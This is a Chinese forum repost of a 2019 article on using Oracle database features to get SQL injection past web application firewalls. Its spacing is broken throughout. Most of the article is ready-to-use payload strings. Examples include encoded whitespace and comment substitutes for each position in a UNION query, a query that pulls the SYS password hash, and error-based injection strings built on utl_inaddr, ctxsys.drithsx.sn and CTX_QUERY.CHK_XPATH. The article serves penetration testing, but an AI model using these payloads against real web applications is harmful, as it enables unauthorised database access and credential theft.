设为首页收藏本站
切换到窄版

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
Nmaps Club»论坛 › Pentests Wiki › Wiki › 数据库 › [892] 2019-01-21_WAFBypass数据库特性（Oracle探索篇） ...
返回列表 发新帖
查看: 8|回复: 0

[892] 2019-01-21_WAFBypass数据库特性（Oracle探索篇）

[复制链接]
s7ckTeam

6万

主题

-6万

回帖

-58

积分

管理员

积分
-58
发表于 7 天前 | 显示全部楼层 |阅读模式
2019-01-21_WAFBypass数据库特性（Oracle探索篇） W A F   B y p a s s 数 据 库 特 性 （ O r a c l e 探 索 篇 ） 原 创   B y p a s s   B y p a s s   2 0 1 9 - 0 1 - 2 1 收 录 于 话 题   # W A F 攻 防 实 战 笔 记   , 9 个 0 x 0 1   前 言 前 言 我 们 经 常 利 用 一 些 数 据 库 特 性 来 进 行 W A F 绕 过 。 在 O r a c l e 中 ， 比 如 可 以 这 样 ： 空 白 字 符 ： % 0 0 获 取 数 据 库 版 本 ： S E L E C T   b a n n e r   F R O M   v $ v e r s i o n   w h e r e   r o w n u m = 1 相 比 于 M y s q l / M S s q l ， 它 的 特 性 相 对 较 少 ， 但 确 有 其 特 殊 之 处 ， 比 如 空 白 字 符 可 以 用 % 0 0 替 代 ， 一 个 获 取 数 据 库 版 本 的 语 句 就 这 么 长 。 一 起 去 探 索 一 下 O r a c l e 数 据 库 特 性 ， 挖 掘 能 够 绕 过 W A F 防 护 的 数 据 库 特 性 。 0 x 0 2   测 试 测 试 常 见 有 5 个 位 置 即 ：       S E L E C T   *   F R O M   a d m i n   W H E R E   u s e r n a m e   =   1 【 位 置 一 】 u n i o n 【 位 置 二 】 s e l e c t 【 位 置 三 】 1 , u s e r ( ) 【 位 置 四 】 f r o m 【 位 置 五 】 a d m i n 位 置 一 ： 参 数 和 位 置 一 ： 参 数 和 u n i o n 之 间 的 位 置 之 间 的 位 置 1 ) 空 白 字 符 O r a c l e 中 可 以 利 用 的 空 白 字 符 有 ：   % 0 0     % 0 9   % 0 a     % 0 b   % 0 c     % 0 d     % 2 0 2 ) 注 释 符 号 / * * / 3 ) 其 他 字 符 % 2 e     .       点 号 位 置 二 ： 位 置 二 ： u n i o n 和 和 s e l e c t 之 间 的 位 置 之 间 的 位 置 1 ) 空 白 字 符 O r a c l e 中 可 以 利 用 的 空 白 字 符 有 ：   % 0 0     % 0 9   % 0 a     % 0 b   % 0 c     % 0 d     % 2 0 2 ) 注 释 符 号 / * * / 位 置 三 ： 位 置 三 ： s e l e c t 和 查 询 参 数 之 间 的 位 置 和 查 询 参 数 之 间 的 位 置 1 ) 空 白 字 符 O r a c l e 中 可 以 利 用 的 空 白 字 符 有 ：   % 0 0     % 0 9   % 0 a     % 0 b   % 0 c     % 0 d     % 2 0 2 ) 注 释 符 号 / * * / 3 ) 其 他 字 符 % 2 b     +
% 2 d       - % a d s e l e c t   *   f r o m   e m p   w h e r e   m g r = 7 7 8 2       u n i o n   s e l e c t + N U L L , ( S E L E C T   b a n n e r   F R O M   v $ v e r s i o n   w h e r e   r o w n u m = 1 ) , N U L L , N U L L , N U L L , N U L L , N U L L , N U L L   F R O M   D U A L 位 置 四 ： 查 询 参 数 和 位 置 四 ： 查 询 参 数 和 f r o m 之 间 的 位 置 之 间 的 位 置 1 ) 空 白 字 符 O r a c l e 中 可 以 利 用 的 空 白 字 符 有 ：   % 0 0     % 0 9   % 0 a     % 0 b   % 0 c     % 0 d     % 2 0 2 ) 注 释 符 号 / * * / 位 置 五 ： 位 置 五 ： f r o m 后 面 的 位 置 后 面 的 位 置 1 ) 空 白 字 符 O r a c l e 中 可 以 利 用 的 空 白 字 符 有 ：   % 0 0     % 0 9   % 0 a     % 0 b   % 0 c     % 0 d     % 2 0 2 ) 注 释 符 号 / * * / 0 x 0 3   函 数 函 数 类 型 一 ： 常 见 函 数 类 型 一 ： 常 见 函 数 S E L E C T   b a n n e r   F R O M   v $ v e r s i o n   w h e r e   r o w n u m = 1       / / 获 取 数 据 库 版 本 s e l e c t   u s e r   f r o m   d u a l   w h e r e   r o w n u m = 1                     / / 获 取 当 前 连 接 数 据 库 的 用 户 名 s e l e c t   p a s s w o r d   f r o m   s y s . u s e r $   w h e r e   r o w n u m = 1   a n d   n a m e = ' S Y S '     / / 获 取 用 户 S Y S 密 文 密 码 S E L E C T   n a m e   F R O M   v $ d a t a b a s e                                       / / 获 取 库 名 s e l e c t   t a b l e _ n a m e   f r o m   u s e r _ t a b l e s   w h e r e   r o w n u m = 1       / / 获 取 第 一 个 表 名 T i p s ： 在 o r a c l e   里 | |   是 连 接 符 号 ， 但 是 在 其 他 数 据 库 里 就 不 是 i d = 1   a n d   1 = 2   u n i o n   s e l e c t   ( c h r ( 9 4 ) | | c h r ( 9 4 ) | | c h r ( 3 3 ) | | ( S E L E C T   b a n n e r   F R O M   v $ v e r s i o n   w h e r e r o w n u m = 1 ) | | c h r ( 3 3 ) | | c h r ( 9 4 ) | | c h r ( 9 4 ) )   f r o m   d u a l - - 类 型 二 ： 显 错 注 入 类 型 二 ： 显 错 注 入 ? i d = 1   A N D   1 = u t l _ i n a d d r . g e t _ h o s t _ a d d r e s s ( ( S E L E C T   n a m e   F R O M   v $ d a t a b a s e ) ) —     / / 获 取 库 名 ? i d = 1   a n d   1 = c t x s y s . d r i t h s x . s n ( 1 , ( s e l e c t   U T L _ I N A D D R . g e t _ h o s t _ a d d r e s s   f r o m   d u a l   w h e r e   r o w n u m = 1 ) ) - -   / / 获 取 数 据 库 服 务 器 所 在 i p ? i d = 1   a n d   1 =   C T X S Y S . C T X _ Q U E R Y . C H K _ X P A T H ( ( s e l e c t   b a n n e r   f r o m   v $ v e r s i o n   w h e r e   r o w n u m = 1 ) , ' a ' , ' b ' ) - - ? i d = 1   O r   1 = O R D S Y S . O R D _ D I C O M . G E T M A P P I N G X P A T H ( ( s e l e c t   b a n n e r   f r o m   v $ v e r s i o n   w h e r e   r o w n u m = 1 ) , ' a ' , ' b ' ) - - ? i d = 1   a n d   ( s e l e c t   d b m s _ x d b _ v e r s i o n . u n c h e c k o u t ( ( s e l e c t   u s e r   f r o m   d u a l ) )   f r o m   d u a l )   i s   n o t   n u l l — ? i d = 1   a n d   1 = c t x s y s . d r i t h s x . s n ( 1 , ( s e l e c t   u s e r   f r o m   d u a l ) ) - - 0 x 0 4   E N D   本 文 汇 总 了 一 些 常 见 的 O r a c l e 数 据 库 特 性 和 常 见 的 数 据 库 函 数 ， 仅 作 抛 砖 引 玉 之 用 ， 欢 迎 留 言 ， 顺 便 分 享 一 下 你 了 解 的 比 较 有 意 思 的 特 性 。 B y p a s s
A b o u t   M e 一 个 网 络 安 全 爱 好 者 ， 对 技 术 有 着 偏 执 狂 一 样 的 追 求 。 致 力 于 分 享 原 创 高 质 量 干 货 ， 包 括 但 不 限 于 ： 渗 透 测 试 、 W A F 绕 过 、 代 码 审 计 、 安 全 运 维 。
回复

举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver|手机版|小黑屋|Nmaps Club

GMT+8, 2025-1-23 10:37 , Processed in 0.144615 second(s), 29 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表